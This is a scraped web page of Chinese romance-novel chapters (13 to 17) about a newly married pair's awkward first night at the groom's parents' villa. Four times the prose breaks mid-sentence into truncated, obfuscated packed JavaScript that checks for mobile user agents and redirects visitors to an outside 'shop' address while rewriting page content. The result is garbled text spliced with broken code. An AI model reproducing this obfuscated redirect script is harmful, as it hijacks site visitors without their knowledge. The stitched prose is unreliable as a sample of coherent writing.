l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197354|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局门口走,快到门口的时候,他忽然停下脚步,反握住明栖深的大拇指,拽了拽对方,仰头道:“我还有事跟你说。” 明栖深回眸望他,开玩笑似的问:“怎么?反悔了?” “当然不是。”凌含真神情严肃,“下午学校门口,跟我有冲突的那个人,莫名其妙说我喜欢他,我解释了他也不听,非说我喜欢他,其实我跟他一点都不熟,平日也不来往,根本不懂他怎么会有这种错觉。以后他要还是找你,你可不要相信啊。” 明栖深去的迟,没有听全,但也听到了两句,笑道:“知道了,不相信他。” 凌含真想了想,直视他的眼睛,继续认真道:“我没有喜欢过任何人,也没跟任何人谈过恋爱,更没有跟谁发生过亲密的肢体接触。” 其实说这句话的时候,他撒了点谎,只是谎话过去得太快,和真话混在一起,就会显得很自然,看不出异常。 他也不想撒谎的,可他总不能跟刚重逢的人说“我从小到大只暗恋过你一个人”吧,打死他也做不出这种事。 他顿了顿:“跟长辈握手不算吧?”随即陷入了踌躇的思索,“还跟卷卷牵过手,应该也……不算吧?” 明栖深笑起来,没有说算不算,只是等了几秒钟,没有等到他别的话,便对着那双期待又紧张的眼眸,学着对方的话:“那巧了,我也没有喜欢过任何人,也没跟任何人谈过恋爱,更没有跟谁发生过亲密的肢体接触。” 他想了想,放缓了声音:“非要说同辈的话,现在是牵着你的手。” 他是含着笑的,却又是无比认真的,脸上身上都映着下午四点多的落日余晖,在凌含真眼中,整个人都闪闪发着光,以至于有些眩目。 尤其是说这句话的时候,如同飞来一颗流星,砸在了他的心上,燃起火焰来,更是让他晕乎乎的。 明栖深温和道:“那现在,能去领证了吗?” 明明话是凌含真挑起来的,到头被迷得晕晕乎乎的反而是他自己,以至于他回答的一声“嗯”都苍白无力,巴巴儿被牵着进了民政局的大门。 流程很快也很顺利,只是拍照时稍微耽误了一点,第一次摄像师叫他们亲密地贴在一起,但拍出来后明显两个人都很僵硬,十分不自然,只能又换成正常的双人合照,总算好了许多。 结婚是件庄重的事,手续却很简单,凌含真拿到结婚证的时候,还觉得跟做梦一样,坐在车上依旧在翻看着,红底白衬衫的双人合照,已经要被他盯穿了。 还是拍得很不错了,他满意地想,欢喜又从心里溢了出去,就是他自己笑得也太开心了吧,相比起来明栖深就稳重许多,只是淡淡的微笑,不过看起来还是挺开心的。 “我们回家吃个饭。”明栖深看着他,“段叔叔明天中午过来,今晚在家住一晚?” 他说的“家”自然是父母住的地方,凌含真头也不抬地应了,这才依依不舍地把证件收好,戴上他的眼罩和耳机。 14.第十四章 车启动的时候,凌含真的身体微微侧向明栖深的另一侧,歪着头,假装睡着了,果然明栖深没有再挨着他,同他之间隔了一点距离,更没有来握他的手,让他靠在自己肩上。 只是对方的目光依旧停留在他身上,他看不到,不知道那是怎样的目光,审视,抑或是疑虑?总之,至少不会是厌恶和嫌弃,毕竟他并没有感到不舒服。 他并不是不喜欢对方的接近,以及这种保护性质的碰触,他只是……还不能适应,太局促不安,即使这些行为放在以前都是再普通不过,对方也定然是出于习惯和本能,但毕竟间隔太久了,心态和身份,都已经发生了巨大的变化。 几分钟后,对方的目光也移开了。 没有明栖深的靠近和注视,他觉得压力减小许多,松口气之余,又有种失落的怅惘,这种既想要接近又害怕接近的心理一直缠绕着他,在见面之后变本加厉。 喜与愁在他脑海中不断搅合,以至于他有些疲惫——这一天也确实疲惫,单是同明栖深久别重逢,就花了他几乎所有的精力,那张红底白衬衫的合影更是在他意识中晃悠,叠满了重影,他觉得脑子乱糟糟的,只能强迫自己不去想。 在舒缓熟悉的轻音乐中,他慢慢陷入了浅眠之中,这一次是真睡着了。 车平稳行驶着,正是堵车的时候,走走停停,晚上七点多才到达目的地。 明家的别墅在安回江边,人烟稀少,风景宜人,交通也便利,江边停靠着私人游艇,二十多分钟便能到达京华的金融中心,既适合日常,也能养老,因此这么多年住处一直没有变过。 车开进了大门,停在了半道,明栖深这才去叫凌含真,叫了两声没动静,又轻轻握住了他的肩。 凌含真睡得很浅,虽然听不到外界的声音,但被触碰就立即从梦中惊醒,伸手抓下自己的眼罩,迷瞪瞪望着明栖深探过来的脸,一下子就清醒了,忙低头收拾自己的东西,含含糊糊应了一声。 “到了。”明栖深说,下车后又打开另一边的车门,好方便凌含真下车。 他等待着,但没有伸手,似乎在车上因为凌含真的躲避而意识到了应该有点距离感,可凌含真从车里出来的时候,没有完全清醒,本能朝他伸出了手。 他还是直接握住了,没有犹豫,甚至连凌含真反应过来想缩回去都来不及。 宋雨溪早就在等着了,听到车驶入的声音,便迫不及待地快步迎过来,看到明栖深在牵着凌含真下车,立即眉开眼笑:“终于回来啦,我跟你爸都等好久了,结婚证领到了吗?” “领到了。”凌含真冲她笑了笑,叫了她一声“阿姨”。 宋雨溪又开始装生气,抱怨他跟自己不亲了,凌含真便跟她聊起今天的好天气,问她的花开得怎么样,以此岔开了话题。 三个人并排走着,还得绕过围墙,上十几层台阶,才是主建筑的院子,坐在这里可以直接眺望安回江的江景,吹着携带了水汽的晚风。 天色已经暗了下来,院里点起了温馨的橘黄的灯,映得满院花草都罩了一层朦胧的温柔,佣人们得到了主家的指示,来来回回忙碌着,开始布菜。 院里凉浸浸的,散着淡淡的花香,十分舒适,宋雨溪笑道:“晚上咱们在院子里吃,比在屋里舒服多了。”她本想说“咱们一家人总算是团聚了”,然而“团聚”这个词终究是不可能实现了,于是又咽了下去,只说,“我就不喜欢在屋里,闷闷的。” 明维栋也从屋檐下慢悠悠走过来,先是打趣明栖深:“七哥结婚回来啦?” 明栖深只笑:“嗯,结完了。” 他一下午精神都在紧绷着,现在总算放松了些许,才察觉有些渴,于是自然松开凌含真的手,走到院里的餐桌边,给自己倒了杯水。 明维栋又转向凌含真,换了严肃的表情,郑重地伸出手:“哟,王哥。” 凌含真也一本正经跟他握手:“明哥。” 明维栋道:“王哥终于舍得大驾光临了,蓬荜生辉,蓬荜生辉啊。” 明栖深以为自己听错了,直到听到第二遍,才确认他爹喊的是“王哥”,一口水差点没喷出来,呛得他直咳嗽,咳嗽完才不可思议地望向明维栋:“爸,你叫他什么?!” 明维栋奇怪道:“这我王哥啊,怎么了?” 明栖深顿感无语:“合着您俩口子平时就跟他打游戏啊?这玩得辈分都长了?那我得喊什么了?” “该喊什么还喊什么。”明维栋解释,“王哥就是野王哥哥的简称,我们管厉害的都叫王哥,你个土包子,不懂我们年轻人现在的潮流。” 明栖深哭笑不得,放下水杯:“行行行,是我土包子,不懂你们年轻人的潮流。” 他终于回味过来,意外之余,又觉得也算合理,毕竟凌含真还是个小学生的时候,就知道带他那一帮兄弟打游戏上分了,把几个初中生哄得服服帖帖,整日在他身边当眼线,汇报他的一举一动,他都不知道那到底是谁兄弟了。 凌含真神情淡然,好像什么都没有听到,走到餐桌边看菜色:“饿了,晚上吃什么?” 他难得说出“饿了”两个字,现在也确实太晚,早就过了他平日的晚饭时间,宋雨溪又惊又喜,忙拉着他坐好:“都是你喜欢吃的,饿了就多吃点。” 她亲自给凌含真盛了碗汤,院里的灯光有些暗,又带了色彩,他看不清是什么汤,但闻起来挺香,尝了一口还算合心意,于是喝了大半碗,转眼宋雨溪已经又给他布了一盘子的菜,满目慈爱地看着他吃,他不好意思推脱,只能被对方盯着低头吃饭,甚至不知道自己吃了些什么,好在明家的厨师了解他的口味,都是能入口的。 明维栋问儿子:“喝酒吗?咱爷俩整点白的?” 明栖深不在饭局之外喝酒:“不喝了,吃饭呢。” “怎么了七哥。”明维栋佯装伤心道,“结婚了就不要爹了,庆祝一下都不成?” 明栖深板起脸训斥:“你做完手术才半年,医生说能喝了吗?再伤到身体怎么办?” 凌含真耳朵尖,立即敏锐抬头,紧张问:“什么手术?我怎么不知道?” “小手术而已。”宋雨溪忙解释,“做完就好了,早恢复了,没必要特意跟你说一声,你又要多想。” “那也应该跟我说一声。”凌含真忧郁道,“下次可不能瞒着我了。”他说完立刻顿住,赶紧给自己找补丁,“不对,没有下次,没有下次。” “你好好吃饭吧。”宋雨溪笑着给他夹菜,“吃完饭我们去散散步,你都好久没来了,好多地方都变了。”又对明栖深说,“深深陪爸爸喝点吧,他今天高兴呢,你喝酒,让他喝水,实在不行给他用筷子蘸点尝尝。” 明栖深笑着应了,让佣人去酒窖拿了一瓶温和的,只给明维栋滴了几滴,又混上一杯水,几乎连酒味都咂摸不出来了。 一顿饭吃得分外和谐,只偶尔说起天气一类的日常琐事,其他无人谈及。 吃完饭已经将近八点了,凌含真心情畅快,的确比平时吃得多些,看了时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200385|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对宋雨溪道:“还能散步一个小时。” 一个小时后就是九点,他要回来洗漱准备睡觉了。 宋雨溪也喝了杯酒,捂着脑袋虚弱道:“我觉得头晕晕的,可能走不了了,让哥哥陪你去吧。” 她的心思太浅,凌含真一眼便能看出来,于是笑了笑,答应了她,随即抬眼望向明栖深,明栖深坐在他另一侧,但隔了一个座位的距离,在他看过来的时候已经起身,朝他伸出了手。 凌含真犹豫了一下,把自己的手放在他掌心,被握住后起身站在他身侧,回头对宋雨溪说:“那我们走了。” 宋雨溪朝他眨眨眼,又捂住额头呻.,吟自己头疼。 下了台阶,穿过一条短径便是侧门,出去后直达安回江江边,江风有些大,吹得人的发丝和衣袖都飞扬起来,体温也降了下去。 凌含真已经几年没有来过这里了,尽管曾经这里像他自己的家一样熟悉自由,一花一草都刻在他记忆里,可真正回来后,又在熟悉中有了点陌生的感觉,这种陌生不是因为变化,而是像旧物被磨损后出现的模糊感,记忆也因为时间的磨损而蒙上了陌生的一层印记,需要再走几遍才能慢慢拾起。 两个人都沉默着,沿着江边散步,这件事在从前经常做,因此路径也都十分熟悉,根本不需要交流,就能知道对方要走哪里,甚至下一步会怎么迈都清楚。 沉默又默契,又因为默契,这种沉默反倒没有显得尴尬,而是在熟悉的举动间形成了无声的交流。而白日的紧张与局促,又在默契中慢慢消散了许多。 夜幕沉沉,天上疏星如灯火,江上有零散的灯光闪烁,如天上星,天与地被夜晚融合为一体,一时间分不清上下了。 两个人沉默着,竟然无声走了半小时,凌含真几乎要忘了今夕何夕,此情此景,昔年故人,让他恍惚又回到了无忧无虑的小时候,忧郁和焦虑都被江风带走,只剩下惬意和舒然了。 明栖深看了眼时间:“八点半了,是不是九点要准备睡觉?” 凌含真“嗯”了一声:“那回去吧?” 他们又开始转身往回走,却没有沿着来时的道路,同时换了行径。 凌含真笑起来,没有去看明栖深,但听到了对方鼻息中的一声轻笑。 “好像没什么变化。”他慢慢评价着周边的事物和景色。 明栖深顺着他的话“嗯”了一声,随即又陷入沉默,只慢慢顺着路往回走。 他们确实只是单纯来散步的,没有刻意去交流,也没有回忆往昔,一切的声音都渺远如雾,若是刻意打破寂静,反倒失了美好。 风中送来花的香,大概是茉莉,凌含真四下而望,果然在不远处看见了许多绿枝白花,清新动人。 九点正好到家,院子里已经收拾干净,橘黄的灯关了,换上冷冷清清幽寂寂的白灯,又恢复了安静,宋雨溪养了许多花,正是夏天,各种花的香混在一起,并不让人觉得杂乱,反倒出奇和谐。 屋里亮着灯,两个人便走了进去,正好碰上宋雨溪,对方看上去有些焦急,明栖深便问:“怎么了?” 宋雨溪叹了口气:“我刚才让人去检查你们的房间,有没有那里要添置的,结果发现你房间门锁坏了,这么晚了也找不到人修。” 明栖深笑:“好好的怎么就坏了?” “哪有好好的啊,这房子也有些年头了,你又不经常回来住,可不是容易就坏了。”宋雨溪抱怨着,又道,“别的房间都没收拾呢,要不你跟真真先睡一晚,啊?” 15.第十五章 她的语气十分自然,这件事也再普通不过,毕竟从前,虽然凌含真有自己的专属房间,但几乎从来不去住,每每过来,都是理直气壮地占据了明栖深的房间,晚上要跟明栖深一起睡的。 倘若他们还是久别重逢的兄弟,之间有深深的隔阂,此刻正尝试着破冰,一起睡一晚也没什么,甚至还是极好的破冰方式,可是现在,他们的关系已经不那么单纯了,他们已经是法定夫妻了。 这是一个质的转变,让一件事从正常普通变得微妙起来。 一对合法的新婚夫妻,共处一室,让人很难不会想多。 这实在太微妙了,明栖深的脸上终于产生了一丝裂痕,好半天也没有缝合起来,一时间思绪纷杂扰乱,竟然说不出一句话来。 理论上来说,这的确是他们的新婚之夜。 哪有那么容易坏掉的门,只有故意捣乱的人。 父母有所期盼是正常的,没有明着给他们布置婚房,已经是很考虑他们才刚见面没多久的情况了,甚至十分贴心地帮忙找了理由。 反倒是凌含真愣了片刻,犹豫着答应了:“好。” 他应该是没有多想的,没有脸红,没有忸怩和羞涩,只是纯粹觉得尴尬和局促,但是不想让宋雨溪为难,于是顺从了对方。 他都答应了,明栖深要是拒绝,显然就是不给他情面,狠狠往他脸上甩巴掌,再戏剧化媒体化一点,就是“新婚之夜冷情冷面拒绝同居,独留娇妻守空房”。 这个荒谬的想法在明栖深脑海中转了一圈,成功让他脸上再次出现一道裂痕,他强行调整好情绪和表情,使得自己看上去没有太大的反应,随着凌含真淡淡“嗯”了一声,算是答应了下来。 凌含真表现得淡定,他自然也不能让自己有很大反应,起码从表面上来看,这是一件极其普通的家常事,普通到没有人会为它做出反应。 宋雨溪笑得更欢畅:“那先等一下,妈妈让人添个枕头。” 她装模作样上楼让人重新布置,很快便下来了,催促两个人快点去休息,时间已经不早了,又对凌含真道:“哥哥晚上喝了酒,要是闹你了,你就先忍忍他吧。” 凌含真点点头,正经道:“我会照顾他的。” 宋雨溪又叮嘱:“柜子里我放了东西呢,闹你了要记得用。” 凌含真以为是醒酒药之类的东西:“好。” 宋雨溪这才放下心来,催他们快去睡觉。 明栖深无奈又好笑,到底没有说什么,只当是两个小孩在过家家,牵起凌含真的手进了电梯,去三楼的卧房。 凌含真是会把宋雨溪的话当真的人,听完之后有些担忧,去卧房的路上好几次抬头看明栖深,欲言又止,还是明栖深主动问他:“想说什么?” 尽管凌含真已经是成人的模样,但他熟悉的还是九年前的小孩,内心深处也依然把对方当成小孩,而且看凌含真的反应,也不像是通晓人事的模样,所以在两个人独处的时候,他反而没有那么大的荒谬感了,也不认为对方会问他什么出格的问题,因此有些漫不经心的。 凌含真问:“你晚上喝了多少?” 他身上的酒气很淡,风吹了一个小时,已经几乎散完了,如今在室内,还是挨在一起的情况下,也没有闻见了。 明栖深道:“不多,还不至于醉了,你安心睡觉,不用管我。” 凌含真便没有继续表达自己的忧心,说话间,他们已经到了卧房门口,明栖深打开门,让他先进去,随后关上了门。 入门是一个不大的会客厅,转过去才是正式的卧房,布置和几年前相差无几,只是床上的四件套都换成了典雅温馨的粉色,绣的龙凤呈祥和“囍”字,都是暗纹,不仔细看很难注意。 这个粉色……倒是比大红色要委婉许多…… 明栖深的太阳穴突兀地跳起来,凌含真也觉得粉色的床单太奇怪了,愣了一下,下意识抬头看他。 “去准备睡觉吧。”明栖深温和且淡定道,“你先洗,我回去拿衣服。” 他的房间就在凌含真的旁边,说完便出了门,脚步有些急促,回去一摸自己的门,果然有明显的人为破坏的痕迹。 他硬着头皮出来后,才猛然想起浴室里会不会放奇怪的东西,想回去检查,别让凌含真瞧见,又在到会客厅时听见了浴室的水声,于是只能止步。 应该不会有,他的父母还算比较委婉的,只是抱有一点期望,又不是必须要怎么样。 凌含真睡前准备工作很多,他洗完澡换好睡衣回来,浴室里还有水声,于是他先掀开被子和枕头,仔仔细细把床检查了一遍,确保没有看到不该看的东西,才松了口气。 还算比较有分寸的,他暂且安心地想。 毕竟在他眼里,凌含真还小呢,而且也太仓促了,虽然今天的时间过得格外漫长,但他们也只是重逢了半天,他根本没有考虑过这方面的事情。 他检查完,凌含真便穿着睡衣出来了,看见他在铺床,低着头,头发半干的,于是微微皱起眉,严肃提醒他:“要把头发吹干,不然睡觉头疼。” 明栖深应了,正好顺着他的话去了浴室,大致检查完,一切正常,才把头发吹干,出来时凌含真在会客厅里找什么。 明栖深问:“找什么?” “没有带耳塞。”凌含真扭头看他,“我没考虑过晚上要在这里睡,就没有带,我记得这里有存的。” 他晚上睡觉需要极致的安静,不戴着耳塞睡不着。然而这里毕竟太久没有来了,尽管已经在尽力维持原样,但像耳塞这种小东西,很容易因为陈旧会被佣人清理掉。 明栖深道:“别急,家里肯定有,我打电话问问。” 凌含真点点头,又道:“抽屉里好像有。” 他一边说着,一边走到床前的床头柜,弯腰拉开抽屉,随即愣住了,保持着弯腰的姿势,定格在了原地。 明栖深正要打电话问管家有没有耳塞送上来,余光瞥见他定格的动作,觉得怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200386|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异,于是走了过去,目光落在抽屉里,也僵住了。 他差点怀疑自己瞎了,才会看到慢慢一抽屉的…… 和谐夫妻生活保护罩。 一半是整整齐齐的保护罩,一半是辅助工具。 就算没有用过,但起码也见过,那么明显的字母和暧昧的图案,不至于这么大了还不知道是干什么用的,别说他了,连凌含真都意识到是什么,耳根迅速染上滴血的红,红色很快蔓延到脸颊,接着是全身。 时间定格了足足一分钟。 凌含真终于反应过来,以迅雷不及掩耳之势猛地关上抽屉,站起身挡住抽屉,背着手,十分想装作若无其事的样子,但显然失败了。 他想抬头直视明栖深,却怎么也无法鼓起这个勇气,想装作什么都没有看见,淡定地把话题引向别处,大脑却不受控制地出现了严重故障。 他什么都说不出来,什么都做不了,只是呆呆站着,浑身上下都是红的。 他还是第一次亲眼见到,传说中的辅助工具,在闪瞎眼的同时,又陷入极度的羞涩和窘迫之中。 就算是他一个人看见,也会觉得窘迫,更何况,他刚领完结婚证的暗恋对象还跟他一起看到了。 死了算了,他在一片混乱和故障中抽出一丝清明,绝望地想。 明栖深没有动,也没有解围的意思,只专注地看着他,但是是一种平静且审视的目光,似乎在思考着什么。 他的确心情复杂,思绪纷乱,好像他们之间遮掩的布一下子被掀开了,让最新出炉的关系蓦然摆在面前,不得不去面对,在最初的尴尬之后,他确实开始认真思考这件事。 他的目光一直在凌含真脸上停留着,不止是现在,下午一直是。 他仔细观察着对方,从这张完美漂亮的脸,和所做的一举一动,用来监测变化和差异,好让自己快点适应,他的小王子已经长大成人了,就像时空突然穿梭了九年,眨眼一个孩子就变成大人站在他面前。 他牵了对方的手,那只手还是柔软细腻纤长的,但的确是只成年人的手,这种转变让他觉得十分不真实,以至于他有些逃避心理,依旧把对方当成小孩子对待。 然而就在刚才,遮羞布被扯下来的时候,他开始认真思考他们的关系。 凌含真已经不是他的弟弟了,或者说,不止是他的弟弟,现在多了一个新的身份:他的新婚妻子。 弟弟和妻子,是截然不同的。 他的小王子也已经长大了,真真切切长大了,像完全绽开的茉莉花,让他不得不去直视。 他们迟早是要面对的,不如有点成年人的样子,坦诚一点,把这个问题摆出来。 他看了凌含真许久,终于尝试着开口,清了半天嗓子,目光不自在地移开,用认真且淡然的语调慢慢询问:“你……要、要过……”尽管已经做了许多心理建设,真正开口时还是有些吞吐,到这里时更是停住,绞尽脑汁想了个比较委婉的词汇,“夫妻生活吗?” 16.第十六章 这句话刚说出口,明栖深就后悔了,就算他们已经结婚,不得不面临如此现实的问题,他的提议也太过唐突了,然而覆水难收,他不可能假装什么都没发生,只能安慰自己,他的确需要知道凌含真的意见,如果对方有需求,他们应该认真研究探讨一下。 凌含真在良久的沉默中艰难摸索,最后决定直接上床睡觉,只要睡着,就能掩盖一切,然而明栖深用犹豫又淡然的试探语气说出那四个字的时候,又将他好不容易找回的意识撕碎,彻底陷入宕机状态。 这四个委婉的字组合在一起,显然没有抽屉里的东西冲击力那么大,可是又太过委婉,以至于他的大脑根本没办法一下子辨别出意思,只能慢吞吞读取领悟着这四个字的信息。 什么是夫妻生活?夫妻生活是什么?夫妻之间要过什么生活?早安午安晚安?吃饭聊天睡觉?夫妻之间还要过什么生活?什么夫妻生活还需要特意询问出来要不要过? 他想起那一抽屉的东西,愣愣看着明栖深难得尴尬的脸和躲闪的目光,好像明白了,夫妻生活,是特指夫妻之间隐秘的夜生活,也就是说,明栖深在邀请他,今夜使用抽屉里的道具,做一些夫妻之间该做的事。 他没理解错的话,这是……一个邀请…… 明栖深,在……邀……请……他…… 邀……请…… 他的大脑不受控制地飘荡起来,他仅有的一点贫乏的成人知识,在此刻突然冒了出来,冲进了他的脑海里,飞快捏造出两个人,暧昧贴在一起——是他和明栖深。 甚至脑海中的人什么都没有做,只是交叠着,暧昧着,就已经到达他的极限了,他顿时只觉气血翻涌,直冲天灵盖,浑身像着了火似的发烫,尤其他的耳朵和脸颊,已经烫得发疼。很快,他的鼻腔出现了堵塞的感觉,随即有热乎乎的液体从里面缓缓淌出,他下意识伸手去接住,低头时看见手心里落了几滴鲜红的血,滴滴答答汇聚了一滩,像一个小小的湖泊,一颗硕大的红宝石。 是血啊。 身体比大脑更快做出反应,当他认出这滩液体的时候,他已经头脑一晕,不由自主地倒了下去,意识消失之前,他甚至还本能抬头去看一眼明栖深,看到了对方慌张惊愕的脸。 凌含真并不是一个要死要活的人,相反,他珍爱生命,注意安全,思想积极,心理健康,但是在倒下前的这一刻,他的脑子里只有唯一一个悲怆的想法:还是死了算了。 *** 凌含真意识恢复一些的时候,只觉周围闹哄哄的,有许多人在说话,走来走去的,让他更加头疼,朦胧中听见有人说“没什么事,只是普通的晕血,多休息就好了”“他身体不适合大补的东西,吃多了,气血一下子太足,又受了刺激”之类的话,应该是家庭医生。 很快家庭医生也走了,于是杂乱的声音随之渐渐消失,他的意识也慢慢清醒,判断自己是躺在床上的,身上盖着被子。 刚才太吵,现在又太安静,大概人都走了,给他留下空间休息。 他松了口气,看样子家庭医生为他突如其来的流鼻血找到了充足的理由,好让他不至于太丢脸。 他不敢想象自己现在在明栖深心里什么形象,因为一个夫妻生活的邀请,就激动得流了鼻血,晕倒过去,这是得有多…… 他悲伤而绝望地捏紧了拳头。 明栖深大概再也不敢对他作出邀请了,只是提议一下就能激动到流鼻血晕倒,要是实际操作,还不得有生命危险? 他不会再有夫妻生活了,他这辈子都不会有夫妻生活了。 床沿一沉,有人坐在了他身边,他偷偷睁开了一条缝去窥视,甚至身影都没看清,对方便开口:“醒了?” 是明栖深的声音,着实敏锐,一下子就抓到了他的小动作。 装睡是装不了了,凌含真轻轻“嗯”了一声,索性睁开眼,紧张观察对方的神情,生怕在对方脸上看见他不想看见的。 明栖深没有看他,垂着眼眸,轻轻将他的手臂从被子中拉出来,再握住他的手,随即目光停在他的小臂上,没有说一句话,就这么静静握着。 让他微怔的是,对方的脸上并没有无语和惊恐之类的情绪,而是覆满抹不开的哀伤,那哀伤实在太浓稠,浓到让他也被感染,心情随之低落起来。 他想伸手抚平对方哀伤的眉眼,想让对方不要露出这么难过的神情,不然他也会难过,然而他一只手被握着,另一只手还没来得及抽出来,明栖深便主动开口:“医生说晚上吃的都是大补之物,气血太足导致的。” 他省略了“受了刺激”这一项,大概是想把晕倒前发生的事带过去,不再提起。 不提起对两个人都好,凌含真在被子里踌躇的手没有再动,又干巴巴“嗯”了一声。 明栖深叹了口气,低声道:“都怪我。” “不怪你啊。”凌含真赶紧道,“怎么怪你了,是我自己吃多了。” 他回想起晚饭,的确很古怪,那碗浓郁又奇特的汤,生蚝海参等海鲜……似乎都是,补血壮阳的。 还有刻意开的那瓶酒,以及宋雨溪临别的叮嘱。 真是煞费苦心啊,可惜他自己不争气。 明栖深没说话,目光渐渐移到他的脸上,用另一只手轻轻覆在他的额头上,片刻后慢慢拿开。 皮肤是凉的,他的手覆上去的时候,边缘碰到了对方的睫毛,长而密,微微发颤,扫过手掌时让他觉得自己握住了一只在挣扎的脆弱蝴蝶。 虽然外表单薄美丽,像件珍贵易碎的艺术品,但凌含真的身体一向强健,从小到大几乎没生过病,连感冒发烧都没几次,因为从小练舞,力量也比常人强,精力充沛到习舞之余还去练过散打,可为什么,现在长大了,反倒脆弱不堪,身体出了这么多状况?在他们分离的这些年,他的小王子到底吃了多少苦,遭了多少罪? 他一直觉得,他们的分离是正确的,应该的,再多的爱意也会被争吵和分期消磨冲撞干净,失去和离别才能让彼此冷静,让人更好地成长,可此刻,在满身的心疼之中,他又有些后悔了,他应该再委曲求全一点,再大度宽容一点,是不是又会不一样。 然而人永远无法替过去的自己做决定,二十五岁的明栖深也不能完全记得十六岁的明栖深的孤寂与痛苦,即使再来一次,他也不会留下。 又陷入长长的沉默。 凌含真再次难受起来,对方究竟在想什么?是觉得他们的婚姻是个错误,还是觉得夫妻生活是个错误? 在这难熬的沉默中,他甚至有一瞬间起了冲动,想主动提起晕倒前的事,尝试把那件事续上,可惜他要脸,他实在是做不出。 这个时候,他又羡慕起梁书航来,如果他能像梁书航一样自信就好了,那他一定要问明栖深,邀请还作数吗,他们什么时候能过夫妻生活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14224453|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有时候,人太要脸了也不是什么好事。 最后还是明栖深打破沉默:“很晚了,你好好休息,我回去睡也一样。” 门坏了又不是不能抵住,更何况卧室里还有道门,左右不过是借口,如今已经没有找借口的必要了。 他想放开手,凌含真却反握住他的手,不让他走,垂眼沉默着。 这副别别扭扭要人猜心思的态度与神情和小时候一模一样,明栖深笑了一下,放缓声音:“睡不着?” “嗯。” “我拿本书读给你听?” “不想听,说点别的。” “说什么?” “你想。” 憋憋闷闷的赌气模样,还真又活回去了。 明栖深顺着他的意思,捡些无关紧要的话说:“明中午段叔叔来吃饭,吃完饭,你跟他一起回家,还是在这里住几天?” 凌含真反问:“你呢?” 明栖深道:“我还有别的事,吃完饭也要走。” 凌含真不说话了,将脸扭到另一边,一副不愿意理他的样子,手却还是紧紧攥着,不让他走。 明栖深反应很快:“我收拾收拾,过几天搬到梧桐庄园,你什么时候搬过去?” 是他们的婚房,凌含真有所松动,声音也软下来:“我陪我爸住两天再过去。” “好。”明栖深想了想,“订婚戒指是不是还没挑?” “看了设计图,都很一般,新的还没送过来。”凌含真道,“而且我觉得,应该我们两个一起挑,你不能什么都说随便我,这样显得你一点都不在意。” 他还是表达出了自己的不满,明栖深答应了,又同他说了几句无关紧要的闲话,他都是闷闷不乐的,最后直接松开了明栖深的手,翻身背对着对方:“算了,你走吧,我要睡觉了。” 明栖深站起来,在床边看着他,似乎在等他真正睡着后离开,让他觉得如芒在背,怎么都不自在。过了一会儿,明栖深终于动了,大概准备离开,他松了口气,心里又空落落的,无比失望,下一刻,却发现脚步声不是渐行渐远,而是绕过了床尾,到了床另一侧,随即床另一侧沉了下去。 只有一床被子,被掀开的时候,凌含真的心也差点跟着飞了起来,完全忘了自己应该已经睡着,睁大了双眼。 明栖深关了床头灯,在他身侧躺下:“晚安。” 床很大,可是被子只有一张,使得他靠得很近,近得凌含真能感受到他的呼吸,还有凝望着自己的眼睛,两个人的体温在被子里碰撞后飞速上升蔓延,热得他浑身发烫,说不出一个字。 明栖深靠得很近,但没有太近,依旧同他保持着一点点距离,没有碰在一起,也正是这一点点距离,彰显着他的分寸有度,是出于对陌生的新婚妻子的关怀,而不是暧昧的亲昵。 凌含真的热意一下子又褪去了,取而代之的是更深的失落,立即翻个身背对他,把被子扯过来,闷声道:“我不想跟你用一张被子,漏风。” 明栖深似乎没感到意外,说了声“好”,又下床开灯离开,片刻后拿了床新被子过来,重新在他身侧躺下。 “十二点了,这回是真的晚安了。”他说。 凌含真只觉得不高兴,哪里都不高兴,于是没有跟他说晚安,只闭上眼,尽管思绪纷乱,身侧又躺着极有存在感的一个人,但到底还是没有挡住生物钟的抗议,不知不觉睡着了。 17.第十七章 昨晚一阵混乱,导致凌含真比平时晚了一个小时起床,醒来时身侧是空的,明栖深已经不见了。 他纠结了几分钟,换好常服,下楼到客厅,看见两位长辈在吃早饭,明栖深的位置却是空的。 宋雨溪正好瞧见他,招手让他坐到自己身边,内疚又关切问:“怎么不多睡会儿?昨晚可吓死我了,都怪我,想着给你补补身子的,没想到补过头了。早上想吃点什么?不喜欢我再让厨房重新做。” 凌含真耳朵又开始发热,不愿再提起这个话题,只好低头搅着刚被端到面前的粥,假装不在意问:“哥哥呢?” 